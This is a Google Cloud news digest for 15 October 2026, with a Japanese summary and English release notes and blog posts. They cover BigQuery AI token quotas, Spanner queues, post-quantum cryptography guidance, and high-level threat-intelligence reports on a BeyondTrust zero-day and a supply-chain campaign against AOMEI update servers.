GCP News - 2026-10-15
2026-10-15
最終更新: 2026-10-17 00:12:38 JST
AI による概要
この日は 9 件で、BigQuery の生成 AI 関数のコスト管理、Spanner のトランザクションメッセージング、そして脆弱性と脅威の動向分析が中心でした。とくにゼロデイ悪用の調査結果が加わっています。BigQuery では、生成 AI 関数 (AI.GENERATE、AI.IF、AI.CLASSIFY、AI.SCORE など) に対するトークンベースのコスト管理が一般提供となりました。これらの関数は大規模言語モデルを SQL に直接持ち込むため、1 本のクエリで数百万件のサポートチケットを分類したり、各レビューの感情をスコアリングしたりできますが、トークン課金であるため大規模なデータセットに広げるときは予算を先回りして管理する必要があります。Google Cloud の IAM のクォータ機構で管理される 4 つの日次クォータが、プロジェクト単位とユーザー単位の制御を提供します (ユーザー単位の上限は組織横断ではなくプロジェクト内の各ユーザーに適用されます)。クォータはグローバルで、使用量は全リージョンにまたがって合算されるため、見ていないリージョンでコストが積み上がることがありません。また出力側のクォータには「思考」トークンが含まれ、推論トークンも出力クォータに算入されます。データベースでは、Spanner キューが一般提供となりました。Spanner に直接組み込まれたネイティブなトランザクションメッセージング機能です。AI エージェントは自律的に払い戻しを行ったり在庫を管理したり、複数ステップのハンドオフやサブエージェントのオーケストレーションを行ったりするため、運用データベースで内部状態を保ちながら別のメッセージング / イベントキューシステムで非同期アクションをディスパッチする必要が生じますが、commit ポイントの異なる 2 つのシステムを管理することはエージェントシステムのトランザクション一貫性を壊します。データベースの状態更新だけ成功してディスパッチが失敗すれば、エージェントは行動を決めたのに実行されない状態になり、逆にディスパッチが成功して状態トランザクションがロールバックすれば、無効な状態に基づいて行動してしまいます。非同期のマルチエージェント調整では再試行・投機的実行・競合状態がこれらの障害を増幅し、開発者は複雑なアウトボックスパターンやべき等性レイヤー、データ整合ワーカーを作らざるを得ませんでした。Spanner キューではメッセージの作成がトランザクション内の単なる書き込み操作となり、エージェントの状態変更と意図したダウンストリームアクションがアトミックにまとめて commit されるか完全に失敗します。単一の読み取り / 書き込みトランザクション内で内部メモリや状態テーブルの更新とピアエージェントへのタスクのエンキューを同時に行え、Spanner の厳格な直列化可能性とグローバルな外部整合性に支えられます。キューメッセージは commit 時に即座にディスパッチすることも将来の配信としてスケジュールすることもできるため、遅延再試行・スケジュールされたエージェントのチェックイン・SLA エスカレーションタイマーといったパターンを、外部の cron スケジューラやポーリング基盤なしに実装できます。セキュリティでは、Cloud CISO Perspectives の 2026 年 10 月第 1 回として、耐量子暗号 (PQC) への取り組みと、CISO や経営層・政策担当者が組織の PQC 対応を進めるのを助ける新しい Gemini Notebook が紹介されました。PQC はこの 10 年でもっとも急を要するセキュリティの転換の 1 つである一方、研究が論文やエンジニアリングブログに散在して密度が高く、もっとも意識から外れやすいものでもあるという問題意識が示されています。脅威動向では、Google Threat Intelligence Group (GTIG) が脆弱性の開示と悪用の統計から AI の影響を評価したレポートが公開されました。1 か月あたりの脆弱性開示件数は 2026 年 1 月の 5,045 件から 7 月には 10,477 件へ倍増し、8 月はさらに増えて 10,740 件とピークに達しました。悪用された脆弱性は 2025 年の月平均 10.5 件から、2026 年 1〜8 月は月平均 18 件へほぼ倍増し、ゼロデイの悪用は月平均 8 件から 11 件へわずかに増加しています。AI を活用して発見された脆弱性は、低リスクの割合が低く、中リスクおよびリモートコード実行 (RCE) につながるものの割合が高くなっており、AI は脆弱性の発見と悪用のペースだけでなく、見つかる脆弱性の種類やリスクプロファイルも変えていると分析されています。GTIG は短中期的に発見と悪用が増え続けると予測し、優先順位のないパッチの一括適用から脅威インテリジェンスに基づくトリアージへ移り、標的型のエッジ防御とエージェントによる自動修復を組み合わせる必要があると述べています (リスク評価には CVSS の重大度ではなく GTIG 独自の脆弱性リスク評価を使用、分析期間は 2025 年 1 月 1 日から 2026 年 8 月 31 日)。日本の調査では、Google Cloud Japan が Google Cloud のイベント参加経験のある企業ユーザーを対象に 2026 年 6 月 22 日から 7 月 22 日にオンラインアンケートを実施し、1,231 名 (約 1,000 社) の回答をまとめた「2026 年度版クラウド・インフラ最新動向」が公開されました。IT インフラの課題のトップはサイバー攻撃への対応で 32.3% (回答者の約 3 人に 1 人)、2 位以降はレガシーシステムの老朽化と EOS 対応 26.9%、運用管理の属人化 26.5%、AI など新技術への対応 24.7% と続きます。2024 年の調査では上位のほとんどが属人化・老朽化・コストでしたが、2026 年はサイバー攻撃への対応が 1 位となり、2024 年の上位 5 項目に入っていなかった AI など新技術への対応が 4 位に入りました。主要なインフラにパブリッククラウドを選んだ回答者は 65.8%、今後の戦略で最も多いのはマルチクラウドの 41.0% で、現在マルチクラウドを使っている回答者の 90.2% が今後も続けると答えています。オンプレミス中心の層では 43.3% がクラウドへ移る予定で、その 7 割以上はまずハイブリッドから始めます。VMware を利用している回答者は 33.7% で、そのうち利用を徐々に減らす 37.6% と別のインフラに移す 18.6% を合わせると 56.1% となり 2024 年の 48.8% から 7.3 ポイント増えました。一方で今の環境を使い続けるという回答も 28.7% あり、移行する層としない層に分かれています。できる限り早く別のインフラに移すという回答は 11.8% から 18.6% に増えました。なお回答者の 44.7% がすでに AI 駆動開発を取り入れていると回答しています。脅威インテリジェンスでは、BeyondTrust が 10 月 15 日に公開した BeyondTrust Remote Support (旧 Bomgar) アプライアンスの脆弱性 CVE-2026-102764 について、Mandiant の調査結果が公開されました。この脆弱性は悪用に成功すると任意のファイルをアップロードできるもので、インシデント対応の中で、中国と関係があると見られるスパイ活動の脅威アクター ARMORY CASTLE (旧称 UNC5221) が 2026 年 8 月下旬にこれをゼロデイとして悪用していた証拠が確認されました。記事では、悪用後に権限を昇格して侵害したアプライアンスへ永続的なアクセスを確立した手口と、防御側向けの具体的な指針が示されています。ARMORY CASTLE をはじめとする脅威アクターは脆弱性が公表されると広範で機会的な悪用を行ってきた経緯があるため、公開後の広範な悪用に備えるべきだと注意を促しています。悪用の痕跡は LUKS で暗号化された領域からしか参照できない access、syslog、messages、thin-scc、brain、SSL の各ログに残っていたとしています。リリースノートでは、Apigee Edge for Public Cloud と Apigee 統合ポータルのシングルサインオン (SSO) の修正が告知されました。ポータルの SSO エンドポイントが非推奨の TLS 1.1 接続を意図せず受け付けていた問題が修正され、TLS 1.2 以上を厳格に強制するようになりました (Bug ID 560310696)。また Compute Engine では、ゾーンのブートディスクをクローンして Hyperdisk Balanced High Availability ボリュームを含むリージョンディスクを作成できる機能がプレビューとなりました。サプライチェーン攻撃の調査もこの日に公開されました。Google Threat Intelligence Group (GTIG) と Mandiant が、2026 年 4 月から 7 月にかけて AOMEI Technology の更新インフラを狙ったソフトウェアサプライチェーン侵害のキャンペーンを調査したものです。脅威アクターは AOMEI のオリジンサーバーに対して短時間の設定改ざんを繰り返しており、各改ざんの窓は 5〜10 分だけ有効で、その後は正規のバージョンに戻していました。これほど短い窓で実行されたサプライチェーン侵害は初めて確認されたもので、従来の時点観測によるトリアージや自動のファイルスキャンを事実上回避します。キャンペーンは、新たに追跡を始めた CROSSROAD ダウンローダーと SHINYROAD バックドアを含む多段のペイロードチェーンを配信し、ステージング基盤をクラウドプロバイダーから専用ドメインや正規のクラウドストレージへと移すなど手口を繰り返し変えていたため、インフラに基づく遮断やネットワーク制御が特に難しいとしています。この活動は UNC7017 として追跡する脅威クラスターに帰属され、影響を受けた組織は IT サービス、通信、高等教育などに広がり、オーストラリア、ブラジル、インド、パキスタン、ポルトガル、シンガポール、南アフリカ、スペイン、スイス、トルコ、米国にまたがっていました。
主要トピック
BigQuery: 生成 AI 関数 (AI.GENERATE / AI.IF / AI.CLASSIFY / AI.SCORE など) のトークンベースのコスト管理が GA、4 つの日次クォータでプロジェクト・ユーザー単位に制御
BigQuery: クォータはグローバルで全リージョンを合算、出力クォータには推論 (思考) トークンも算入
データベース: Spanner キューが GA、メッセージ作成がトランザクション内の書き込みになり状態変更とアクションをアトミックに commit
データベース: Spanner キューはスケジュール・遅延配信に対応し、外部 cron やポーリング基盤なしに遅延再試行や SLA タイマーを実装
セキュリティ: Cloud CISO Perspectives で PQC への取り組みと、CISO・政策担当者向けの新しい Gemini Notebook を紹介
脅威動向: 脆弱性開示が月 5,045 件 (2026 年 1 月) から 10,740 件 (8 月) へ倍増、悪用は月平均 10.5 件 (2025 年) から 18 件へ、ゼロデイは 8 件から 11 件へ
脅威動向: AI で発見された脆弱性は低リスクの割合が低く中リスクと RCE の割合が高い。一括パッチから脅威インテリジェンスに基づくトリアージへの移行を提言
国内調査: 「2026 年度版クラウド・インフラ最新動向」(1,231 名 / 約 1,000 社)、課題トップはサイバー攻撃対応 32.3%、AI など新技術への対応が新たに 4 位
国内調査: マルチクラウドが今後の戦略の最多 41.0%、脱 VMware が 56.1% (2024 年の 48.8% から 7.3 ポイント増)、AI 駆動開発の導入は 44.7%
セキュリティ: BeyondTrust Remote Support の CVE-2026-102764 (任意ファイルのアップロード) を、中国と関係があると見られる ARMORY CASTLE (旧 UNC5221) が 2026 年 8 月下旬にゼロデイ悪用。権限昇格と永続化の手口と防御側向けの指針を公開し、公表後の広範な悪用に備えるよう注意喚起
セキュリティ: Apigee Edge for Public Cloud と Apigee 統合ポータルの SSO エンドポイントが非推奨の TLS 1.1 接続を受け付けていた問題を修正し、TLS 1.2 以上を厳格に強制 (Bug ID 560310696)
ストレージ: Compute Engine でゾーンのブートディスクをクローンしてリージョンディスク (Hyperdisk Balanced High Availability を含む) を作成できる機能がプレビュー
セキュリティ: GTIG と Mandiant が AOMEI Technology の更新インフラを狙ったサプライチェーン侵害を調査 (2026 年 4〜7 月)。改ざんの窓が 5〜10 分だけという初確認の手口で時点観測のトリアージを回避し、CROSSROAD ダウンローダーと SHINYROAD バックドアを配信。UNC7017 に帰属
Google Cloud Release Notes
October 15, 2026
- Link: https://docs.cloud.google.com/release-notes#October_15_2026
- Published: 2026-10-15 16:00:00
- Fetched: 2026-10-16 03:07:51
Apigee Edge for Public Cloud
Announcement
On October 15, 2026, we began releasing Single Sign-On (SSO) updates for Apigee Edge for Public Cloud.
Fixed
| Bug ID | Component | Description |
|---|---|---|
| 560310696 | SSO | Fixed an issue where the Portal SSO endpoint inadvertently accepted deprecated TLS 1.1 connections. The endpoint now strictly enforces TLS 1.2+. |
Apigee Integrated Portal
Announcement
On October 15, 2026, we released a new version of the Apigee integrated portal.
Fixed
| Bug ID | Description |
|---|---|
| 560310696 | Fixed an issue where the Portal SSO endpoint inadvertently accepted deprecated TLS 1.1 connections. The endpoint now strictly enforces TLS 1.2+. |
Compute Engine
Feature
Preview: You can create regional disks, including Hyperdisk Balanced High Availability volumes, by cloning a zonal boot disk.
For more information, see Duplicate a disk with clones.
Google Cloud Blog
Predictable AI spend in BigQuery: Introducing cost management for generative AI functions
- Link: https://cloud.google.com/blog/products/data-analytics/using-bigquerys-generative-ai-cost-management-features/
- Published: 2026-10-15 01:00:00
- Fetched: 2026-10-15 01:34:54
詳細を表示
The generative AI functions in BigQuery (AI.GENERATE, AI.IF, AI.CLASSIFY, AI.SCORE, and more) bring large language models (LLMs) directly into your SQL, so a single query can classify millions of support tickets or score each product review for sentiment. However, because these functions are billed by the token, scaling them across massive datasets highlights the importance of managing your budget proactively.
We recently announced the general availability (GA) of token-based cost management for BigQuery generative AI functions: daily quotas that let administrators set self-serve guardrails on AI token consumption, so teams can innovate while staying within your budget. In this blog, we provide an overview of cost management for BigQuery generative AI functions, walk through a few practical examples, and share resources to help you get started. Let’s jump in.
Quotas for managing costs
Four daily quotas, managed through the Google Cloud Identity and Access Management (IAM) quota system, provide controls at the project level and the per-user level. Per-user limits apply to each user within a project, not across your organization.
|
Quota name |
Metric |
Scope |
Default value |
|---|---|---|---|
|
AI input tokens per day |
Input tokens used by the LLM |
Per day, per project |
200 billion |
|
AI input tokens per day per user |
Input tokens used by the LLM |
Per day, per project, per user |
150 billion |
|
AI output tokens per day |
Output and thinking tokens used by the LLM |
Per day, per project, per project |
20 billion |
|
AI output tokens per day per user |
Output and thinking tokens used by the LLM |
Per day, per project, per user |
15 billion |
Key details:
-
The quotas are global. Usage is summed across all regions, so costs can't pile up unnoticed in a region you weren't watching.
-
Output quotas include "thinking" tokens. Reasoning tokens count toward your output quota, just as they count toward your Gemini platform bill.
Which functions are covered?
The quotas apply to these BigQuery functions that perform LLM-backed generation:
-
AI.GENERATE_TEXT(and its aliasML.GENERATE_TEXT)
What's not covered: Embedding functions such as AI.GENERATE_EMBEDDING (also available as ML.GENERATE_EMBEDDING) and AI.EMBED are not subject to these quotas, because they run on different, substantially cheaper models.
Managing your quotas
Administrators can view and adjust the quotas directly in the Google Cloud console as workloads change, with no support case required.
-
Navigate to IAM & Admin → Quotas & System Limits.
-
Filter by service and select BigQuery API.
-
Sort by the Name column to bring the four AI quotas to the top.
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="1" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/1_dxxy8WS.max-1000x1000.png" />
</a>
<figcaption class="article-image__caption "><p>Locating the gen AI token quotas in IAM & Admin → Quotas & System Limits.</p></figcaption>
</figure>
</div>
</div>
4. Find the quota, for example AI input tokens per day.
5. Open the three-dot menu and choose Edit quota.
From there:
-
To tighten cost control, lower a quota. This takes effect immediately with no approval needed.
-
To support higher usage, request an increase from the same page. Many requests are auto-approved; larger increases may go through a quick review.
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="2" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/2_7NmvWbT.max-1000x1000.png" />
</a>
<figcaption class="article-image__caption "><p>Editing a gen AI token quota in IAM & Admin → Quotas & System Limits.</p></figcaption>
</figure>
</div>
</div>
You'll need the right permissions. You need one of: Owner, Editor, Quota Administrator (roles/servicemanagement.quotaAdmin), or Service Usage Admin (roles/serviceusage.serviceUsageAdmin).
Prefer automation? You can also manage these quotas programmatically through the Cloud Quotas API, the gcloud CLI, and Terraform to apply consistent guardrails across projects.
Monitoring usage
Beyond setting limits, the Quotas & System Limits page displays your historical token consumption so you can quickly detect spikes and right-size your budgets. Use these trends to see how new generative AI workloads and data pipelines affect your overall token usage.
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="3" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/3_sSNHw57.max-1000x1000.png" />
</a>
<figcaption class="article-image__caption "><p>Daily project-level token usage for a gen AI token quota in IAM & Admin → Quotas & System Limits.</p></figcaption>
</figure>
</div>
</div>
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="4" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/4_iYgfR4l.max-1000x1000.png" />
</a>
<figcaption class="article-image__caption "><p>Longer-term usage graph with selectable 7-day, 14-day, 30-day, and custom ranges.</p></figcaption>
</figure>
</div>
</div>
For a step-by-step walkthrough, see the BigQuery documentation on controlling costs with token quotas.
Token quotas vs. billing spend caps
Token quotas aren't the only cost guardrail in Google Cloud.
-
Token quotas (this feature) are preventive and AI-specific. BigQuery tracks token usage during query execution and stops work close to the limit, with separate limits per project and per user.
-
Cloud Billing spend caps operate on dollars at the project and service level and can automatically block usage when a threshold is reached. They're a broad, financial backstop rather than a precise usage control, and because enforcement is not instant, some overages are incurred.
Use token quotas as your first line of defense for AI spend, and a spend cap as a project-wide safety net.
How enforcement works
Quotas are enforced by stopping work rather than letting a query run past your limit. A query is rejected up front with a QuotaExceeded error only if a quota it needs is already exhausted. Otherwise, it starts, and if a quota runs out mid-query, BigQuery stops sending new LLM calls:
-
Functions that support
max_error_ratio(such asAI.IF) return partial results if unprocessed rows stay within the ratio, and otherwise fail. -
General-purpose functions (such as
AI.GENERATE) still succeed. Skipped rows have no generated value, and theirstatusfield contains the quota-exceeded error.
For details, see quota enforcement behavior in the documentation.
Sizing your input data: AI.COUNT_TOKENS
To choose quota values, it helps to know how much text your workloads send to a model. The AI.COUNT_TOKENS function helps with this.
AI.COUNT_TOKENS returns the number of tokens a model's tokenizer produces for a text string, without making a billable generation call. Run it over a column to measure your input data:
- code_block
- <ListValue: [StructValue([('code', "-- Count the input text tokens for each product review\r\nSELECT\r\n SUM(\r\n AI.COUNT_TOKENS(\r\n CONCAT('Classify the sentiment of this review as positive, negative, or neutral: ', review_text),\r\n\r\n endpoint => 'gemini-3.1-flash-lite').result) AS total_input_tokens\r\nFROM\r\n `my_project.my_dataset.product_reviews`;"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f5eb4e965d0>)])]>
The count is a lower bound on input tokens. It doesn't include output or thinking tokens, the instructions each AI function adds around your input, or non-text inputs such as images. Use it to:
-
Gauge the input side of a workload before you launch it.
-
Right-size your quotas together with a small sample run that measures actual input and output usage.
-
Translate tokens into dollars using the published Gemini platform pricing for your model.
From tokens to budget: a worked example
Suppose you want to keep a project's daily AI spend around $100 with the Gemini 3.1 Flash-Lite model. As of today's published pricing (BigQuery processes in batch which provides a 50% discount):
-
Input tokens: $0.125 per 1 million tokens
-
Output tokens (response + reasoning): $0.75 per 1 million tokens
If a small sample run shows an average 100:1 input-to-output token ratio, you can solve for a daily budget:
- code_block
- <ListValue: [StructValue([('code', 'Cost: 0.125 × I + 0.75 × O = 100 (I, O in millions of tokens)\r\nRatio: I = 100 × O'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f5eb4ce8c10>)])]>
Solving gives about 754 million input tokens and 7.54 million output tokens per day. Set AI input tokens per day and AI output tokens per day to these values to hold the project near $100/day. If a project uses models with different prices, budget per model or blend the rates.
Best practices for managing AI cost
-
Start with per-user quotas. They stop one user or runaway experiment from draining the project's budget.
-
Measure before you scale. Use
AI.COUNT_TOKENSto size your input, then check a small sample run in the usage chart before setting limits. -
Mind the output side. Output tokens cost more. Where a function accepts
max_output_tokens, set it to bound generation length. -
Monitor and iterate. Adjust limits as real usage and budgets change.
Get started
Token-based cost management is available now. To begin:
-
Open IAM & Admin → Quotas & System Limits in the Google Cloud Console and filter by BigQuery API.
-
Review the four AI-related token quotas and set limits that match your budget.
-
Use
AI.COUNT_TOKENSto size your input data.
For the full details, see the documentation on controlling generative AI costs.
With token-based guardrails in place, your teams can use generative AI in BigQuery with the cost predictability your organization needs.
Cloud CISO Perspectives: New Gemini Notebook can help CISOs and policymakers prepare for PQC
- Link: https://cloud.google.com/blog/products/identity-security/cloud-ciso-perspectives-new-gemini-notebook-can-help-cisos-policymakers-prepare-for-pqc/
- Published: 2026-10-15 01:00:00
- Fetched: 2026-10-15 01:34:54
詳細を表示
Welcome to the first Cloud CISO Perspectives for October 2026. Today, Stephanie Kiel explains the latest on our approach to post-quantum cryptography, and shares a new tool to help CISOs and executives prepare their organizations for PQC.
As with all Cloud CISO Perspectives, the contents of this newsletter are posted to the Google Cloud blog. If you’re reading this on the website and you’d like to receive the email version, you can subscribe here.
- aside_block
- <ListValue: [StructValue([('title', 'Get vital board insights with Google Cloud'), ('body', <wagtail.rich_text.RichText object at 0x7f5eb506bad0>), ('btn_text', 'Visit the hub'), ('href', 'https://cloud.google.com/solutions/security/board-of-directors?utm_source=cgc-site&utm_medium=et&utm_campaign=FY26-Q2-GLOBAL-GCP39634-email-dl-dgcsm-CISOP-NL-177159&utm_content=-&utm_term=-'), ('image', <GAEImage: GCAT-replacement-logo-A>)])]>
New Gemini Notebook can help CISOs and policymakers prepare for PQC
By Stephanie Kiel, Head of Cloud Security Policy, Government Affairs and Public Policy, Google Cloud
<figure class="article-image--wrap-small
">
<img alt="Stephanie Kiel crop" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Stephanie_Kiel_crop.max-1000x1000.jpg" />
</a>
<figcaption class="article-image__caption "><p>Stephanie Kiel, Head of Cloud Security Policy, Government Affairs and Public Policy, Google Cloud</p></figcaption>
</figure>
<p>Post-quantum cryptography (PQC) is one of the most urgent security shifts of the decade — and one of the easiest to tune out. For security leaders and policymakers, the research is dense, scattered across papers and engineering blogs, and can be challenging to turn into action.</p><p>To help, we're launching <a href="https://notebook.google.com/notebook/68849586-67c5-4165-8f72-64a61991f1dd">Prepare for Post-Quantum Cryptography</a>, a public Gemini Notebook that brings Google's PQC research, engineering blogs, and migration guidance together in one place. Ask it questions, listen to an audio overview, or test yourself with flashcards, and quickly get up to speed on the quantum threat.</p><p><b>Why PQC matters now</b></p><p>Quantum computing is rapidly moving from theory to reality. Our <a href="https://blog.google/technology/research/google-willow-quantum-chip/">Willow chip</a> and <a href="https://blog.google/innovation-and-ai/technology/research/quantum-echoes-willow-verifiable-quantum-advantage/">Quantum Echoes algorithm</a> mark substantial progress, and Google research estimates that breaking <a href="https://arxiv.org/abs/2603.28846">ECDLP-256</a> and <a href="https://arxiv.org/abs/2505.15917">RSA-2048</a> encryption — the public-key cryptography schemes protecting much of our online data — would require around 500,000 and 1 million imperfect quantum computer components (noisy qubits), respectively.</p>
</div>
To help, we're launching Prepare for Post-Quantum Cryptography, a public Gemini Notebook that brings Google's PQC research, engineering blogs, and migration guidance together in one place.
</div>
</div>
This research has consequences now. It indicates that today’s online security is more vulnerable to future quantum computers than previously thought.
In Store Now, Decrypt Later attacks, adversaries may steal encrypted data now and wait to decrypt it once a sufficiently powerful quantum computer exists. Data that we’ve long considered sensitive — health records, financial data, intellectual property, and government secrets — is already at risk.
With continued advances in architecture, quantum algorithms, and quantum error correction shrinking future quantum hardware requirements, waiting to upgrade our digital locks is not a viable option. To help organizations stay ahead of the curve, Google has published a migration timeline noting our plans to transition to PQC by 2029, and we urge others to consider the same.
As the technology advances, policymakers should consider urging critical infrastructure owners and operators to recognize condensed timelines, and build PQC readiness into existing risk mitigation plans. We also recommend governments engage with global counterparts to promote a harmonized approach to standards development, and include technical and security experts in the building of policy and regulatory requirements focused on quantum safety.
Google's PQC expertise, in one notebook
The Prepare for Post-Quantum Cryptography notebook turns years of Google expertise into an interactive primer that anyone can use. It's built on curated Google sources covering the quantum era, quantum computing breakthroughs like Willow, Quantum Echoes, and surface code error suppression, industry PQC standards, Google's own deployments, and the latest research.
In the Gemini Notebook, you can:
-
Get answers grounded in Google's sources.
-
Listen to a podcast-style audio overview.
-
Test your PQC knowledge with flashcards.
-
Explore an interactive visual diagram of the quantum threat.
-
Read a concise briefing document.
Try these prompts
To get started, here are a few questions to ask the notebook:
-
For CISOs: "What should a CISO prioritize in the first 90 days of a PQC migration?"
-
For anyone new to PQC: "Explain store-now-decrypt-later in plain terms."
-
For developers: "How does hybrid ML-KEM key exchange work in Chrome?"
As with all generative AI, the notebook can make mistakes, so check its responses against the linked sources.
What's at stake
Previous cryptographic migrations, such as moving from SHA-1 or upgrading TLS, have taken a decade or more. Waiting for the availability of a cryptographically-relevant quantum computer before beginning the migration journey represents a significant security risk given the importance of public-key cryptography for securing digital essentials like web traffic, software updates, digital identities, and signatures.
For CISOs, we recommend that you start by:
-
Understanding where vulnerable cryptography lives in your organization.
-
Identifying and prioritizing data and systems most at risk from quantum threats, and developing a plan for addressing these risks.
-
Anticipate system-wide effects that PQC migration could have.
-
Building crypto-agility into your security plans, using learnings from past experiences like Heartbleed.
Additional detail on these recommendations is available in our previous blog post.
For the broader security community, the transition only succeeds if this knowledge is accessible to everyone — not just organizations with dedicated cryptography teams.
How Google is putting PQC into practice
We’ve been deploying PQC for years. Highlights include:
We also co-founded the Post-Quantum Cryptography Alliance at the Linux Foundation with industry leaders including Amazon Web Services, Cisco, IBM, and NVIDIA to support open-source tools like Open Quantum Safe.
Build a PQC notebook for your own team
Here’s how you can create a resource similar to our PQC Gemini Notebook, specific to your organization’s needs:
-
Curate trusted sources. Start with a focused set of authoritative research, standards, and guidance.
-
Write neutral prompts. Keep instructions factual so outputs stay grounded in your sources.
-
Add AI disclaimers and a welcome note. Tell readers what the notebook covers and remind them that AI can make mistakes.
-
Review all output with human oversight. Have experts check every artifact before you share it.
Start preparing today
The quantum transition has already started, but preparing your organization doesn't have to begin with a 100-page whitepaper. Start by understanding the threat, then assess your cryptographic inventory and build a migration roadmap.
You can get started with the Prepare for Post-Quantum Cryptography Gemini Notebook and share it with your team today. To learn more about Google Cloud’s approach to PQC, check out our dedicated Google Cloud PQC Resource Hub.
- aside_block
- <ListValue: [StructValue([('title', 'Learn something new'), ('body', <wagtail.rich_text.RichText object at 0x7f5eb4f8df10>), ('btn_text', 'Watch now'), ('href', 'https://www.youtube.com/watch?v=Wpo-5ke9uvQ'), ('image', <GAEImage: Cloud-CISO-Perspectives-logo-A>)])]>
In case you missed it
Here are the latest updates, products, services, and resources from our security teams so far this month:
- Securing enterprise agility in the machine-speed era: Learn what executives need to know about today’s threat landscape, how security teams should respond, and why Google AI Threat Defense can help. Read more.
- Gemini 4 Argon available on Google Cloud: We’re making our new frontier model, Gemini 4 Argon, available for everyone on Google Cloud. Here’s how it can help boost the defender’s advantage. Read more.
- Android's next-gen enclave for on-device AI: Learn about Android’s enclave architecture for personalized on-device AI experiences. Read more.
- The Wiz Red Agent caught a Fortune 500 firm’s data exposure that other tools missed: Using an attacker’s mindset, the Red Agent found a public page exposing sensitive data in minutes. Read more.
- Chrome's response to recent ccTLD registry hijacks: Following recent .gh, .sl, and .as ccTLD domain hijacks, Chrome immediately blocked unauthorized HTTPS certificates via CRLSets to protect users automatically. Read more.
- Wiz Blue Agent POV: Investigating data theft across AWS and GitHub: See how the Blue Agent investigated a multi-platform attack in minutes, following evidence across AWS and GitHub to uncover compromised credentials, stolen source code, and custom data exfiltration tooling. Read more.
- Introducing Wiz AI SAST: Application security that understands you: Find, validate, and fix complex business logic flaws with an AI code scanner backed by Wiz Research, operationalized in your existing security program. Read more.
- Introducing WizOS Helm Charts to secure the Kubernetes supply chain: WizOS Helm Charts can help eliminate hidden CI/CD risks and unmaintained dependencies with hardened, signed, and CVE-scanned charts for Kubernetes. Read more.
- What’s new in Wiz Service Catalog: Smarter discovery, governance, and service-level context can help build your service catalog faster, keep service context current, and give teams a clearer path from cloud risk to accountability. Read more.
Please visit the Google Cloud blog for more security stories published this month.
- aside_block
- <ListValue: [StructValue([('title', 'Join the Google Cloud CISO Community'), ('body', <wagtail.rich_text.RichText object at 0x7f5eb4f8c150>), ('btn_text', 'Learn more'), ('href', 'https://rsvp.withgoogle.com/events/google-cloud-ciso-community-interest-form-2026?utm_source=cgc-blog&utm_medium=blog&utm_campaign=FY25-Q1-global-GCP30328-physicalevent-er-dgcsm-parent-CISO-community-2025&utm_content=cisop_&utm_term=-'), ('image', <GAEImage: GCAT-replacement-logo-A>)])]>
Threat Intelligence news
- Vulnerability discovery and exploitation trends in the AI era: To counter the increased risk from rapid vulnerability discovery and exploitation, organizations should transition from unprioritized mass-patching to threat-intelligence-driven triage, combining targeted edge-defense with automated, agentic remediation. Read more.
- Defending against active exploitation of Citrix NetScaler ADC and Gateway appliances: Mandiant Consulting and Google Threat Intelligence Group (GTIG) identified active, in-the-wild exploitation of a zero-day vulnerability affecting Citrix NetScaler ADC and NetScaler Gateway appliances. Here’s our containment and remediation guidance. Read more.
- ShinyHunters renewed mass exploitation campaign targeting Oracle PeopleSoft: Mandiant and Google Threat Intelligence Group (GTIG) have identified renewed mass exploitation of CVE-2026-35273 by UNC6240 (ShinyHunters), along with expanded global targeting across multiple sectors. Read more.
- Proactively defend by hardening code pipelines and CI/CD infrastructure: Check out our actionable blueprint for software and platform architects designed to safeguard the software supply chain against threat vectors that are actively being exploited, third-party risks, and architectural vulnerabilities throughout the entire software development lifecycle. Read more.
Please visit the Google Cloud blog for more threat intelligence stories published this month.
Now hear this: Podcasts from Google Cloud
- Cloud Security Podcast: Patching browsers with AI, agents, Rust, and your tabs: Jasika Bawa and Doug Turner of Chrome Security explore how Google Chrome now uses AI agents to autonomously identify and patch security vulnerabilities at an unprecedented scale, significantly accelerating the browser's update cadence. Listen here.
- Cloud Security Podcast: All about Project Atlas, Wiz's AI vulnerability research: Nir Orfeld, head of vulnerability research, Wiz, discusses how his team uses multi-agent AI systems for discovering high-impact zero-day vulnerabilities in cloud infrastructure. Listen here.
- Cloud Security Podcast: How Google eliminates classes of vulnerabilities at scale: How do you build the foundations for a secure Google-scale enterprise that stays secure even if an AI is writing the code and nobody has time to review it? Christoph Kern, principal security engineer, Google, explores what secure-by-design really means in the AI era. Listen here.
To have our Cloud CISO Perspectives post delivered twice a month to your inbox, sign up for our newsletter. We’ll be back in a few weeks with more security-related updates from Google Cloud.
Investigating Ephemeral Supply Chain Tampering
- Link: https://cloud.google.com/blog/topics/threat-intelligence/investigating-ephemeral-supply-chain-tampering/
- Published: 2026-10-15 20:00:00
- Fetched: 2026-10-17 00:12:38
詳細を表示
Written by: Tyler McLellan
Introduction
Google Threat Intelligence Group (GTIG) and Mandiant investigated a software supply chain compromise campaign targeting the update infrastructure belonging to AOMEI Technology between April 2026 and July 2026. The threat actor conducted repeated, short-burst configuration tampering against AOMEI origin servers. Each tampering window remained active for only five to ten minutes before reverting to authentic versions. This is the first time that we have encountered a software supply chain compromise that was implemented with these very short windows, effectively evading traditional point-in-time triage and automated file scanning.
The campaign delivered a multi-stage payload chain involving the newly tracked CROSSROAD downloader and SHINYROAD backdoor. The threat actor iteratively modified its tradecraft, pivoting its staging infrastructure from cloud providers to dedicated domains and legitimate cloud storage. This evolving staging setup makes it particularly challenging for defenders to establish effective infrastructure-based blocking or network controls. We attribute this activity to a threat cluster we are tracking as UNC7017.
